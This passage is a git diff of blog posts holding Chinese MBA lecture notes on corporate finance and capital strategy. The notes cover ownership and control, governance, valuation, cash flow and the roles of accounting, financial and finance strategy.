+而非标商品越非标、越独特就越有投资价值，物以稀为贵。那作为一个公司，最本质的区别和独特之处是什么呢？ + +回到公司和企业的概念中，我们说公司和企业首先是一种组织，既然是组织，有一波人在公司里头。每一个公司，进入的人不同，追求不同，目标不同，所思所想不同。 + +![](/uploads/2018/10/24-46.png) + +越想让我们的公司非标，就必须做好企业文化。其实每一个企业和每一个企业最根本不同的是什么？就是企业文化的不同。公司作为一种非标商品要在资本市场上有吸引力，有投资价值，就必须要足够稀缺和独特，这个挑战就是你如何构架独有的企业文化。 + +特征2：三权分立才可以进行公司买卖 + +挑战2：如何确保公司的预期收益 +我们在商品市场上，我们制造产品或提供服务，都有一个完工的时点。这个产品制造完了，或者做一个工程，3年、10年，多长都有完工剪彩的那一天。 + +大家想，如果我们把公司看作商品，能不能讲完工？不能。公司不能讲完工，从理论意义来讲，当我们一成立这个公司，我们就天天都在经营管理这个公司，天天都在制造它。那咱们什么时候能卖这个公司？或者说什么时候标志着这个公司是成熟的，是一个可以卖的商品了，有投资价值了呢？ + +答案是当你的公司做到三权分立的时候。哪三权呢？所有权、决策权、经营权。这也是公司作为商品在资本市场上的第二个特征，即只有三权分立的公司才可以买卖。 + +我们所有要上市的公司，事实上都进行了股改。股改的意义，不仅仅是把其他类型的企业变成了股份公司，而是在于做到了三权分立。 + +为什么我们要做到三权分立，才可以买卖公司？ + +举个例子，比如某位同学说了，我有一家公司，我自己出资、自己经营，自己当股东、当老板、当经营者。但是我现在想要改制上市。因为大家都是同学，所以我先卖一部分，让大家来认购。 + +但是他现在还是三权合立，大家如果认购他的股份，意味着大家既买所有权，又买决策权和经营权。这个同学说：我那公司特别盈利，特别赚钱。大家愿意认购吗？不会愿意的。 + +为什么？因为当三权合立的情况下，这位同学卖了自己的公司，那如果这位同学自己不经营了，换了别人经营。经营理念、战略、商业模式都可能会变，那这个公司还盈利吗？未来还盈利吗？不一定。因为市场并不以大家的想法为转移，也许你改变了创始人的做法以后，这家公司会更盈利，但也许就会亏损了。 + +我们做投资，投的是什么？投公司的过去，还是公司的未来？所有投资人都投的是公司的预期收益，也就是公司的未来。 + +所以，三权分立我只买卖所有权，也就是股票，只转让所有权，决策权、经营权不变，可以保证公司未来的预期可以实现。所以，三权分立确保这个企业是持续盈利的。证监会就有这样的规定，一个拟上市公司，董、监、高（董事、监事、高管）发生重大变化，要延迟3年才可以上市。 + +例如，你的公司要上市了，结果你的总经理拉了一波人自己去创业了。投资人有理由怀疑新来的总经理，以及他的经营团队，改变战略、改变商业模式后，市场有可能欢迎这个改变，也有可能不欢迎这个改变。所以，我们要等3年，看一看他是不是还能够带回来利润。 + +![](/uploads/2018/10/24-47.png) + +大家注意，三权分立的目的是为了确保企业是持续盈利的。也就是说，在商品市场上，我们讲的是预期收益，未来是不是盈利的。 + +总的一句话就是，公司作为商品，带来的又一个挑战是你有没有预期收益。 + +特征3：公司是可以拆着卖的 +挑战3：如何做好公司治理 + +我们买卖商品都是整体购买回去的，通常都是整体买回去。但是，公司作为商品是可以拆着卖的。可以买51%，100%，上市的要求也只是必须卖不低于25%的股份就可以了。 + +所以大家注意这第三个特征，公司这个商品是可以拆着卖的，你不必全都卖出去。由此带来一个问题，我把股权转让了，卖掉了，还能控制这个公司吗？ + +![](/uploads/2018/10/24-48.png) + +“万宝之争”（万科和宝能），大家还有没有印象？公司所有权和控制权是可以分离的，出资的不一定控制这个公司，控制公司的不一定是出资的。 + +这一特征也就要求大家在商品市场上，要做好权利制衡的顶层设计，也就是公司治理。 + +![](/uploads/2018/10/24-49.png) + +如果我的治理结构没有设计好，当我去融资的时候，有可能丧失对这个公司的控制权。而你天天把这个控制权握紧紧的，投资人也进不来。所以，由公司这个商品可以拆着卖的特征，带来的挑战是治理结构的问题。 + +特征4：公司价值存在不确定性 +挑战4：未来收益的不确定性 + +大家生产的产品、提供的服务，要想成交，最关键的是价格。所有买商品的人，得觉得它特别值，接受你的价格才能成交。所以，我们讲商品得有价值。而公司要想成交、买卖，是不是也需要公司有价值？由此我们看到，公司值多少钱，这是一个问题。 + +商品定价很容易，制造这个商品投入的料、工、费，再加上我们的预期利润，加成法就可以给商品定价了。 + +那公司怎么定价？首先我们来考虑公司的价值具有什么样的特征？公司价值是一个定数吗？从成立公司那一天开始，实际上我们就在经营公司这个商品，它的价值天天都在变化，而且可以是上升的，还可以是下降的。今年是上升的，明年可能是下降的。也就是有一个特征，公司的价值具有不确定性。 + +那我们如何给公司这种商品定价呢？我们可以人为的选一个时点，假定在这个时点之下，公司是不变的，公司不经营了，价值固定在这一点了。而公司的价值体现在所有经营者的心血、时间、金钱，大家投入的这些东西。当我们投入了心血、时间、金钱之后，这个企业的财务就会呈现出来有多少资产，有多少收入，有多少利润。根据资产利润的情况，选择一定的定价方法，在这个时点下，公司的价值就可以确定下来。 + +首先公司价值具有不确定性，我们人为选择了一个时点，在这个时点下，来看公司的资产利润状态，采用一定的方法定价。不同时点下，公司的价值不一样。价值不同，价格不同；价格不同，大家的融资额就不一样。 + +![](/uploads/2018/10/24-50.png) + +所以，有一句话“时点是华尔街的灵魂”。我们在整个公司金融中，时间是重要的。由于有了时点，我们就可以看未来，刚刚我说了，投资就是投未来。而未来可能是盈利的，也可能是亏损的。 + +由此在经营上给大家带来的第四个挑战就是风险。在金融财务上，什么是风险？一个组织遇到的风险非常多，比如政治风险、市场风险等等。但是，在金融财务上风险是什么？专指一个公司未来收益的不确定性。 + +![](/uploads/2018/10/24-51.png) + +我们卖公司，融资固然开心。投资人则一定要看未来的风险有多大。 +特征5：价值营销 +挑战5：会计报表 + +你们在商品市场上，卖商品的时候，有没有去吹吹牛？在商品市场上，要讲商品营销。资本市场上，公司的又一特征就是要讲价值营销。而且这种价值营销如果没有做好的话，公司这个商品是卖不出去的。 + +价值营销的方法有很多，比如说路演、信息披露，都是让投资人来认识公司的投资价值。由此，带来第五个挑战，所有所有价值营销中最核心、最关键的要看你们公司有多少资产、有多少收入、有多少利润、有多少负债，我们得去看报表。我们非上市公司，每一年都要做年报。上市公司，月、季、半年、年度报表都要披露。 + +![](/uploads/2018/10/24-52.png) + +银行给公司贷款，也要先拿报表来看。所以，我们要想做好价值营销，最核心、最关键的挑战是做好会计报表。 + +特征6：要讲双向战略 +挑战6：需要创新商业模式 + +第六个需要大家考虑的问题，是商品市场和资本市场如何协同？如何能既做好商品市场，又做好资本市场？ + +所以在商品市场上，我们要做强，讲的是产业战略。在资本市场上，要能够融得资金，支持公司的发展，这是什么？资本战略。 + +当我们到资本市场上去投资、融资的时候，光讲我们的资本战略，讲怎么拿到钱，怎么骗到钱，怎么去包装。在资本市场上的投资人会是什么感觉？你真的是来吹牛来了。 + +所以，在资本市场上，公司的又一个特征是我们一定要讲双向战略。 + +首先，你要讲清楚产业战略，如何发展这个产业，企业，解决前面所说的五大问题。怎么有预期、怎么防范风险、怎么更具投资价值、个性、核心竞争力，也就是在资本市场上，你首先要讲清楚你的产业战略。 + +然后，你再来讲基于这种产业战略，你需要的资金是多少、做什么用、未来的目标、达到的结果，这样投资人才会给你投资。 + +所以，在资本市场上，不能仅讲资本战略，一定讲的是双向战略。既然我们要讲的是双向战略，在不考虑资本的时候，只是在商品市场上来经营，我们很清楚自己的商业模式。但是，当我们把金融、资本加进去了，给大家带来的挑战是一个创新的商业模式，也就是要考虑产业+资本的模式。 + +![](/uploads/2018/10/24-53.png) + +原来我们只考虑产业就OK了，今天必须把资本加进去，这是给大家提出来的第六个挑战。 + +三、资本战略管理模型 + +在前面讲的内容中，我们首先重新区别了公司和企业，给公司重新定位。接着讲了我们面临的是两个市场的挑战，分别是商品市场和资本市场。因此，我们需要一个基于资本市场和商品市场的战略规划。 + +今天，我们不讲战略规划，我们讲的是金融。那在战略规划之下，我们就应该来看一看我们的资本战略。它是金融、财务、会计联动的资本战略。大家注意我们要讲的不仅仅是资本运营，而是整个企业基于资本市场，管理资本的战略。 + +从资本角度看企业的经营，不分行业、不分大小，大家都在忙一个企业的运营管理的三件事： + +第一件事——经营活动。公司是以盈利为目的的组织。经营活动就是挣钱，这是大家忙的第一件事，  + +第二件事——投资活动。要想盈利，要想挣钱，必须做第二件事，也就是花钱。 + +第三件事——融资活动。要想经营，要向投资，必须做第三件事，也就是找钱。 + +作为企业来讲，就是在忙经营活动（挣钱）、投资活动（花钱）、融资活动（找钱）这么一个过程，也是整个企业的金融决策过程。下面我们就对这个过程中进行一个细致的分析，从而归纳出我们的资本战略的管理模型。 + +1. 财务管理 +1.1 现金流 + +我们从大家最熟悉的运营管理出发。经营活动，主要包括供、产、销三个环节。我们看一下这些主要经营活动背后的资本。 + +在供应阶段，一个企业有机器、设备、厂房、办公楼，构成了一个企业的长期资金。同时，企业有原材料、备品备件、低值易耗品，这是一个企业的储备资金。 + +在生产阶段，生产加工、支付税费、发工资，这叫生产资金。 + +在销售阶段，把产品卖出去，形成的是货币资金。 + +![](/uploads/2018/10/24-54.png) + +所以，在整个运营管理中，企业会形成四大流。 + +大家天天忙的各种日常工作是业务流，我们能够看到、数的清楚的是物流，大家看不见的是资本流，我们领导的是人力资源流。业务流、物流、资本流、人力资源流是企业的四大流。 + +我们着重要看的是背后的资本流。举个例子，到年底了，财务一般算账是150亿收入减去100亿成本费用，有50亿利润。但是，从资本角度，先不要看利润，而应该看公司在2017年花掉多少钱，收回多少钱，又有多少钱可以用于再投入。 + +从这样一个角度看资本流动的过程，我们就可以把供产销看作是一个企业的心脏。由心脏所引起的资本转换、回收、再投入，是一个企业的血脉。血脉里头流动的是一个公司的血液，就是现金流。这就是供产销的金融意义，让我们的资本动起来了。 + +![](/uploads/2018/10/24-55.png) + +1.2资金链 + +但是，这也产生了问题。投入、收回、再投入，循环不断进行，企业是不会快速长高长壮的。企业必须像人似的，要去吃饭，也就是融资。通过借来的债权融资、股权融资，拿到资金，再投入到企业里来。企业原来生产100吨，现在可以生产500吨，再投一次，再来一轮，更大了。 + +利润是什么？利润是供产销经营活动这个心脏造出来的血液。利润有一部分会退出企业，用于分红、支付利息。比如说50亿的利润，分10亿，剩下的可以再进入企业。 + +所以，大家注意，供产销经营活动也是融资行为，我们叫做内源性的融资，就是内部自己造的。通过外部来的融资，我们叫外源性的，例如股权和债权融资。 + +大家一定注意，经营活动也是融资。一个企业一定有自己的经营活动，有造血的盈利机制，才能再从外边找资金。中国人讲“打铁还得自身硬”，这就是我说的双向战略，首先企业要讲清楚内源性的融资行为（供产销经营活动）这部分，你才能讲外源性的融资行为。 + +综上，一个企业的资本流可以分两个部分，供产销经营活动构成的资本流就是我们的现金流。内源性融资（利润再投入）和外源性融资（债权/股权资融资）一起形成的资本流，就是企业的资金链。 + +![](/uploads/2018/10/24-56.png) + +由此，通过运营管理，我们会形成对公司内部资本管理的过程，这就是财务管理，又可分成两个管理：现金流管理和资金链管理。一个企业如果财务管理水平很高，把现金、资金管好，可以提高运营的效率，利润会更好，这是一个提高的过程。大家要跟自己的现实经营结合到一起体会一下。 + +2.会计报表 +每年年底和年初的时候，我特别忙的一件事就是参加各个公司的年会。大家开始总结，个人总结、公司总结。会计也要给大家总结，怎么总结？会计要按照一定的会计政策，给大家编制会计报表。 + +![](/uploads/2018/10/24-57.png) + +怎么编的？我仍然建议大家对号入座。 +l 如果你是负责投资、融资的，你的经营行为就装到了资产负债表里头。 +l 如果你是管市场的、管研发的、管办公室的，就装到利润表里头。 +l 如果你是总经理，抓全面，应该最关注公司安不安全。最不安全的是你的血液出问题了，那就是现金流量表。 +对号入座，你在管什么，你的经营行为就装到哪张报表里去了。 + +![](/uploads/2018/10/24-58.png) + +会计报表使我们的经营行为数量化了，你所有的经营行为都可以在会计报表中找到。由此带来了财务分析。透过报表看管理，这是对于我们内部管理者的要求。通过报表，回望你的经营、运营管理，哪儿做得好，哪儿有问题，你要非常清楚。根据问题才能制定下一年度的经营计划。所以对于内部管理者来讲，要透过报表看管理。 + +3.公司金融 + +对一家公司来讲，如何将外部投资人的资源给整合回来，如何融到钱，是公司金融的核心。由会计报表出发，通过信息披露，让外部投资人通过会计报表来了解你公司的价值，是最基本的方式。 + +我们要让投资人认识我们公司的投资价值，所以通过信息披露告诉投资人，我们公司的产业经营部分特别有投资价值，未来会给你带来好的预期收益，我们还能够控制风险，投资人才会愿意给我们投资。 + +投资人让你一忽悠，就能给你投资了？不会。所以，投资人会做价值分析。投资人得问问自己，我给他的产业投资，值还是不值？所以，透过数据看数据背后的故事，这就是外部投资人看报表的目的。看你的产业经营具不具有核心竞争力，未来有没有预期，能不能够控制风险等等，也就是我们前面提了的六大挑战。 + +通过报表看数字背后的故事，怎么看呢？利润表和现金流量表向投资人呈现的是这个公司的内在价值。这个公司报表上利润好，现金流不错，光有这些还不行。还要通过看供产销来看你公司的商业模式独特是否独特。供产销作为心脏，健康吗？血液、现金流能造出来吗？ + +硬指标（现金流量表和利润表），软实力（运营管理和商业模式）都要看，这是内在价值。利润表和现金流量表，在投资心理学中，是打动投资人的报表。也就是说，是让投资人心动的报表。 + +但心动不完全等于行动，还需要更加深入的了解和分析。资产负债表向投资人呈现的就是预期，呈现未来是否是盈利的。 + +因此，利润表和现金流量表看的是过去，是你的内在价值。资产负债表看的是未来，展示的是预期收益，它们两个共同构成了这个公司的投资价值，也就是公司价值。 + +![](/uploads/2018/10/24-59.png) + +大家一定要对号入座，要从你作为一个管理者，企业家经营的角度出发，把整个企业资本联系在一起来考虑我所讲的内容。我所讲的是财务、会计、金融联动的资本战略，这幅图就是资本战略的管理模型。 + +总结上面所讲的内容，我们可以看到资本战略的管理系统由四个部分组成。分别是运营管理、财务管理、会计报表和公司金融。 + +整个模型是： + +从产业经营（运营管理）出发， +形成内部资本的管理（财务管理）， +按照一定的会计政策编制报表（会计报表）， +把这些报表披露给外部投资人，投资人进行价值分析，来决定给你投资（公司金融）。 + +公司内部的管理者进行财务分析，改善我们的运营管理、财务管理。所有的资本都是为了推动我们企业的发展、管理的提升，这就是企业的资本管理系统。 + +而资本管理战略又由三个子战略组成： + +第一个子战略：如何管理好内部的现金、资金、资本，这是内部的财务战略。 + +第二个子战略： 如何披露信息，如何编制报表，这是会计战略。 + +第三个子战略：如何整合外部的资源，这是金融战略。 + +总的来讲，资本战略的管理模型由一条纵贯线（资本管理系统）+三大子战略（会计战略、财务战略、金融战略）构成。 + +![](/uploads/2018/10/24-60.png) + +好的，第一讲内容到此为止。后面几讲我将给大家讲授子战略之间的内在联系，以及各自的重点。请大家关注后面的课程内容。 diff --git a/_posts/2018-10-24-293-gsjrx02.md b/_posts/2018-10-24-293-gsjrx02.md new file mode 100644 index 0000000..1451e47 --- /dev/null +++ b/_posts/2018-10-24-293-gsjrx02.md @@ -0,0 +1,415 @@ +--- +layout: post +title: 【公司金融模块】 第2节 金融财务会计联动的资本战略 +pid: 293 +tags: [mba] +--- + +《公司金融学》 + +陈晋蓉----清华大学经济管理学院 + +# CHAPTER 2: 金融财务会计联动的资本战略 + + +第一讲中，我们讲了资本战略管理模型，也了解到资本战略由会计战略、财务战略和金融战略三个子战略组成。这一讲我们要对他们进行更进一步的讲解，从了解三个子战略，到跟深入的了解资本战略，进而构建大家的资本思维。 + +![](/uploads/2018/10/24-61.png) + +一．会计战略、财务战略、金融战略（三个子战略） + +1.会计战略。 +首先来强调一下会计战略。从作用上大家可以看到，会计战略对内连接的是公司的各位管理者，对外连接的是外部投资人。 + +我把会计战略的核心叫做“三本当家”，分别是资本、成本和人本。 +资本对应资产负债表； +成本对应利润表； +人本对应公司管理者，指的是公司的财务风格。 + +![](/uploads/2018/10/24-62.png) + +投行有一句话，“我们不投项目，我们投的是人”，透过报表是可以看到人和组织的特质的。看单个的人，看的是财商；看一个组织，看的是财务风格。 + +最基础的财务风格主要有两类： +第一类，以资源为导向的企业家管理者聚到一起形成的组织。他们所形成的是一个激进的财务风格。 + +有些管理者见了资源就想拿到自己这儿来，所以资产规模超大，超大不仅仅是多，而是超过了他的需求。由此，他们的财务风险比较高，利润表上的利润不一定好看，因为那么多的资产折旧吃了利润，那么高的负债，利息也把利润给吃了。这是激进型的财务风格。 + +第二类，以收益为导向来管理公司的管理者形成的组织。他们会形成稳健的财务风格。利润漂亮，财务风险小。他们的问题在于未来的盈利能力不可靠。 + +![](/uploads/2018/10/24-63.png) + +大家看，不同的财务风格之下，你的风险、你的投资价值、成长的路径是不一样的。 + +会计战略的核心就是通过三本当家来展示出我们的资本形象。三本当家的核心也是如何树立良好的资本形象。我们在商品市场上讲的是品牌形象。在资本市场上则要讲资本形象。 + +举个例子，大家到日本去玩一趟，会背一个马桶盖回来，说那是日本造的，就是比中国的好。其实，那是我们中国企业造的，你还从日本背回来，你觉得日本的产品好。而提到我们中国的品牌，好像就不行。所以，商品市场我们讲品牌形象，到了资本市场要讲资本形象，这是非常关键的。你的资本报表漂亮，资本形象好，公司的投资价值就高。反过来，投资价值就会降低。这是会计战略的核心，管理好自己的资本形象。 + +2.财务战略。 + +财务战略是对公司内部资本的管理，分成两部分：现金和资金管理。 + +也正因为财务管理是基于公司内部对资本进行管理的过程，所以财务战略的核心一定是和管理者的运营管理互动的。运营管理怎么做，财务就会怎么管，反过来财务也会制约大家的运营管理。 + +中国有一句老话，叫做“兵马未动，粮草先行”。大家想一想，成立一家公司首先有本钱，从你成立公司那天开始，你的金融、资本管理已经开始了。 + +兵马已动，粮草不动，行不行？不行。运营管理和财务管理一定是互动联系起来的。由此在财务战略这里，要强调三个核心： + +运营管理的核心是财务管理； +财务管理的核心是资金管理； +资金管理的核心是现金流管理。 + +![](/uploads/2018/10/24-64.png) + +我们倒着来分析，一个一个来看。 + +首先，来看资金管理的核心是现金流管理这句话。这句话说明了现金流管理是重中之重，因为现金流是企业的血液，一个人如果血液出了问题那肯定就活不了了。 + +当我们去观察一个企业的现金流量时，并不是看你有多少钱，而是要把握风险。因为现金流一定是和企业的风险相连的。因此，现金流可以给大家揭示一个公司可能的三种风险： + +第一种风险：企业贫血。贫血是指一个公司的战略很伟大，项目特别好，但是没钱来干。 + +大家注意，公司没有钱，不可怕，大家一定不要怕。我们要怕的是没有培养出来融资的能力，我们把这种企业缺钱，又没有融资能力的风险，叫做现金短缺。企业贫血并不仅仅是缺血，而是没有输血的机制，这是第一种风险。 + +第二种风险：企业三高。我们人有三高，企业也有三高。我天天都在跟企业打交道，经常会看到大家的报表，有的企业长期账面上趴着资金。我就问：你们资金为什么不用起来？因为通俗来讲，钱可不是看着玩的，应该是用着玩的。只有在用的过程中，才能够创造价值。 + +他们是怎么回答我的？ + +第一种回答，陈老师，我们好不容易才挣这点钱，真舍不得花。 + +第二种回答，陈老师，你说干什么吧？虽然我现在有很多资金，真不知道下一步该怎么做。 + +第三种回答，陈老师，企业不投资是等死，投资是找死，还死的更快。陈老师，真不敢花，真不敢投。 + +所以大量现金趴在账上，我们把这种现象叫做现金浮存，没有根基，没有未来的成长性，这是第二种风险。 + +第三种风险：企业假瘦。这也是一个医学名词，怎么解释呢？我们的产品特别好，消费者也真的特欢迎，抢着买，市场绝对棒。但是，金融战略出问题了，因为都好，所以就大举投资、融资，最后现金流枯竭了，企业做不下去了。这是企业假瘦，我们把这种风险叫做成长性破产。 + +这对于创业型企业尤其要防范，所以重中之重是你的现金流。今后大家再看到钱，就不能光看有多少，而是要看背后的风险。再次强调，资金管理的核心是现金流的管理。 + +![](/uploads/2018/10/24-65.png) + +然后，再看财务管理的核心是资金的管理这句话。企业的发展、企业的投融资都是需要资金的。如果说现金流解决的是生存问题，那资金解决的就是发展问题。资金管理与金融相连，如何融资、如何投资，找到资源对我们的企业都至关重要。我们会在金融战略更进一步强调这个观点。 + +再往上走一级，运营管理的核心是财务管理。很多同学对这个观点可能不同意，为什么？ + +有的同学会说：我现在正在创业，最着急的是生产出来的产品得卖出去，所以营销、市场重中之重。 + +有的同学会说：现在都强调“互联网+”，我们公司是传统企业，所以最难的是在我这个传统企业里头，怎么应用互联网，这太难了。 + +有的同学又说：我现在发展到今天，干部和中层跟不上我了，人力资源重中之重。 + +总体来说就是一个错误的思想，大家觉得财务管理是缺不缺钱的问题，我又不缺钱，财务还顾得上，所以很多同学不认同运营管理的核心是财务管理。 + +但是，我要强调的是运营管理和财务管理的理念是不一样的。 + +运营管理讲的是点的管理，我们一个公司、一个企业，在不同的发展阶段、不同的年度，管理重点、难点、关键点不一样。因为内外部的环境变了，运营管理的高级境界是你能够找到那个重点、难点、关键点，非常精准，并且加以解决。 + +但是，财务管理不是这样的，财务管理的高级境界是“财行如水”。大家学到这里，可以闭上眼睛，把这四个字默念几遍，来感受一下财务管理的这种境界。 + +行，就是动。让你的资金动起来。就像刚才我说钱不是看着玩的，一定是用着玩的，财要行动。动成什么境界？水。水是最温柔的，很舒服。但是，水也能载舟，这就是它的力量，排山倒海。你怎么形容水都不为过。这才是财务管理的境界。 + +我们来归纳一下，为什么运营管理最终都归结到财务上来？ + +第一点，财务管理讲流动性管理，不是讲点的管理。财务管理是一个全过程的管理、全方位的管理、综合性的管理。大家想血液是流到神经末梢的，我们企业的现金流就是在神经末梢，一个企业的神经末梢，所以是一个全过程、全方位、综合性的管理。 + +第二点，财务管理是一个全员的管理。也就是说，一个公司内部所有人都要对财务负直接责任。因为业务是从大家手里做的，大家引起了资金的现金流变动，大家要负直接责任。 + +第三点，财务管理是运营管理的目标。通过财务管理可以提高运营管理的水平，从而提升我们的利润。 + +最后一点，财务管理是运营管理的预警机制，这也是最重要的一点。因为我们企业的经营都是连绵不断的，我们所有管理者、企业家都很难停下来，回望过去的经营留下什么风险，留下什么沟沟坎坎，但是财务会给大家提供阶段性的现金流变化的状态，由此揭示我们运营管理中的风险、危机。 + +![](/uploads/2018/10/24-66.png) + +诗里有一句话叫“春江水暖鸭先知”。财务管理就是在座各位企业家怀中的那只鸭子。企业经营的冷暖、好坏、风险、危机，首先会在现金流、资金链中显现出来。所以，财务管理是我们运营管理中最好的预警机制，大家要抓得住。 + +以上是我们强调的财务战略，是它是对资金链和现金流的内部资金管理，这是关键，要抓住。 + +3.金融战略。 + +我们下面看金融战略。这里特别强调的是理念，大家的理念能不能转变过来是很关键的问题。 + +金融战略的核心是三个转变： + +第一个转变：财务管理的转变。财务管理以利润为导向，金融是以价值为导向，所以要从利润管理向价值管理转变。 + +第二个转变：管理者的转变。从内部管理向外部整合转变。我们不能只是紧紧盯着利润，不能只是紧紧盯着公司内部，还要去外部整合资源。 + +第三个转变：公司模式的转变。从产业经营的模式，向产融经营模式转变。产融模式的转变是产业+金融。注意不是“互联网+”，“互联网+”是互联网在前，产业+金融的模式是产业为本，金融助推。我们是深度挖掘产业中的金融特征，通过金融运作，促使我们的产业发展更好、更盈利，所以要从单一产业经营向产融经营转变。 + +![](/uploads/2018/10/24-67.png) + +这就是公司金融的核心，即三个转变。而公司金融的关键是资源整合。 + +以上是三个子战略的核心与关键点。大家要能够把握资本战略的三个子战略的核心与关键点，把握以后再来看总体的资本战略会更加清晰。 + +二．资本战略 +在熟悉了三个子战略的核心与关键之后，我们再来看总体的资本战略。 + +1.资本的定义 +首先，要给资本一个定义，什么是资本？大家说资本就是钱。确实是，但资本显然不仅仅是钱。做企业不能高大上，空洞又空洞，资本一定要落到实处，资本运营必须要落到实处。 +所以，对一个企业来讲，资本在三个层面进行管理和运营： + +第一个层面：权益资本。 + +权益资本有两种： +（1）债权资本，会形成债权人权益。大家想债权人有什么权益？有借有还，具有偿还权。对于企业来讲，对于一个公司来讲，这是借来的钱，还不起我们有偿债风险。 + +（2）股权资本，股权资本形成股东权益。股东具有所有权，以及由所有权所形成的经营决策权、利润分配权、投票表决权等等。但最根本的这个公司是他的，所有权。 + +对于公司来讲，拿到股东的这笔钱叫自有资金。不是借来的，是自有资金，不需要还。那就没有风险了吗？不是。还是有风险，不过这不是财务性风险了，而是战略性风险，就是控制权转移的风险。你拿到资金，企业就有可能控制不住了。因为我们前面讲，所有权和实际控制权，可以合在一起，也可以是分离的，当面临股权资本的时候，你的控制权可能会没有。 + +![](/uploads/2018/10/24-68.png) + +这里我们引申一点，从股权资本这里应该引起大家更深层次的思考。 + +首先，你要注意的是所有权和控制权的博弈，两种权利的博弈。所有权的多少对公司影响的大小，和你出了多少钱有关。出资多少构成了股权结构，结构不同在公司里头的影响力、决策权不一样。股权结构有三个拐点： + +第一个拐点，35%，你有相对控制权； +第二个拐点，51%，你有绝对控制权，但重大决策话语权没有在你这儿； + +第三个拐点，67%，你既有绝对的控制权，重大决策的话语权也在你手里头。 + +![](/uploads/2018/10/24-69.png) + +所以股权结构的不同，代表了你在公司里头影响权利的不同，这与企业权利安排有关。 + +大家注意，任何公司都有公司政治，有权利之争，国企和民企都一样的。权利安排决定了控制权的问题。因此，这就是我们引申出的一个很重要的问题，公司治理结构。比如说马云、王石，他们在这条路径上拥有的股份并不多，但是作为管理者他们控制着公司。大家都知道万宝之争，宝能通过二级市场收购，成为万科的第一大股东。由此宝能曾经提出过罢免王石和他的管理层，但没有成功，这个故事是大家关注比较多也比较熟悉的。 + +但是，实际上，宝能在同一时间用了同样的方法，二级市场收购，成为大股东，成功取得了另一家公司的控制权，这就是南玻，也是上市公司。都是宝能运作的，方法都是一样的，都在股权结构上成为第一大股东。但是，一个就拿到了控制权，一个没有拿到控制权。 + +原因在于二者的博弈，在于治理结构的安排。其实资本运营中最具魅力的运作，也来自于这个地方，这是资本的第一层面。 + +第二层面：管理中的资本。 + +大家往往会忽视管理中的资本这个概念。一提到资本、资本运营，大家感觉都是高大上的。而事实上，现实中我们每一天都在跟它打交道。所以管理中的资本，并不是那个高大上的资本，而是非常、非常现实的每天面对的东西。 + +就是你今天要付款了，明天要发工资了，我们账上有钱吗？资金的问题。 + +就是你2018年下半年要不要添一台设备？资产的问题。 + +就是你年底、年初要招工，招人都招不上来，人工成本在不断增加。人力资源的问题。 + +所以，现实管理中的资本，以资金、资产、人力资源等等各种形式存在，构成了各个公司职能化管理，这是管理中的资本。 + +第三个层面：战略层面的资本。 + +我们再来看战略层面的资本。资本是一个企业可以运作的，并且能够带来预期收益的资源。企业需要资源，为什么？预期收益。而这里头我要强调两个关键词：运作、资源。 + +资本这个概念，并没有强调这是我们公司所拥有的资源。我再强调一遍，在资本层面并不强调拥有。大家想，当我拥有的时候，产权是我的，应该在我的报表中。而运作，可以运作我公司自己的，也可以运作别人的。我的，别人也可以来运作。我们互联网中的平台公司，实行的平台战略，其实也就是这个概念。 + +所以，资本不讲你的、我的、他的，讲的是资源整合能力。我们在资本层面考虑问题的时候，讲资源整合，而不论你、我、他。换一个角度来讲，我们要树立一个天下资源唯我所用的胸怀。是运作，而不是拥有，运作什么了？资源。 + +经济学中有一个假设，资源是稀缺的。没有什么东西可以让大家取之不尽，用之不绝。我们中国经历了40年高速增长，什么东西不缺？ + +有的同学说不缺钱。那我们为什么还搞了亚投行、金砖国家开发银行等等？ + +有的同学说我们不缺人。还放开二孩干什么？放开二孩是因为我们缺15岁-60岁的劳动力人口，人口总量不缺，但我们缺这块劳动力人口，这块的问题非常严重，所以我们放开二孩。 + +所以，作为企业来讲，资源也是稀缺的。对于一个企业来讲，要去整合的资源有哪些？三组资源： + +第一组：经济资源、人力资源。 + +经济资源大白话一点，就是要有钱。人力资源，要有人。有人、有钱，才能构成一家公司的运营能力，这是把资源与能力结合在一起。 + +当我们去讲资源的时候，一定要考虑能不能够驾驭它？所以第一组经济、人力资源，培育了这个企业运作资源的能力，运营能力。 + +![](/uploads/2018/10/24-70.png) + +第二组：有形资源、无形资源。 + +有形资源，看得见，摸得着。我要要强调的是无形资源，在整个企业资源中，无形资源，往往能够建奇功，大家要重视无形资源。无形资源对于企业来讲有三类： + +（1）报表上的无形资产。大家熟悉的，专利权、商标权都在报表上。 + +（2）围绕着市场（你的主业市场）所形成的技术、品牌、渠道、关系、大数据。 + +举个例子，LV。一提LV，大家会想包包，奢侈品。但是LV集团并不认这个，它说我们不是箱包的生产商，而是一个品牌的整合商，专门去收购品牌。收购完品牌之后，再挖掘这个品牌的故事，围绕这个故事重新设计，并且输出管理，迅速把这个品牌打造成一个知名的奢侈品品牌。LV的箱包历史很长久，但是LV集团也不过20多年历史，却已经是全球最大的奢侈品生产、销售商，凭的是它的品牌的整合能力。 + +由此，LV形成了五大类产品，除了最传统的箱包，现在还做服饰、酒、酒店、文化传媒，五个产业。LV就要整合这些品牌，所以说LV是一个品牌的整合商。 + +（3）企业文化。无形资源中更加无形的是企业文化。大家会说文化跟资本、利润有关吗？在商品市场上，文化是能创造利润的。其实大家真的不是在卖产品，产品的内核是我们作为一家公司，我们作为企业家，你的所思所想所追求，是你的文化。 + +在资本市场中，我们收购一个企业，战略可以合，设备可以合，公司都合在一起了，甚至两个公司的人都坐到一个办公室里头了。但是，两家公司的企业文化也能融合在一起吗？太难了。最终并购过程中，文化整合的失败，让企业做不下去的比重，占了60%。最主要是文化的冲突，所以，文化在资本战略中也起了决定性作用。 + +我们的有形资源，往往伴随着时间、科技进步、自然的作用，往往是在不断贬值。而含有企业文化的无形资源越老越值钱，价值越来越高。因为文化是需要时间来积淀的。 + +第二组资源培养我们一个公司的获利能力，因为我有了经济资源，机器、设备、厂房、办公楼，可以造产品，卖产品。有了企业文化，有了核心竞争力，会卖得更好，做得更有价值。这是第二组资源，培育一个企业的获利能力。 + +![](/uploads/2018/10/24-71.png) + +第三组：优质资源、劣质资源。 + 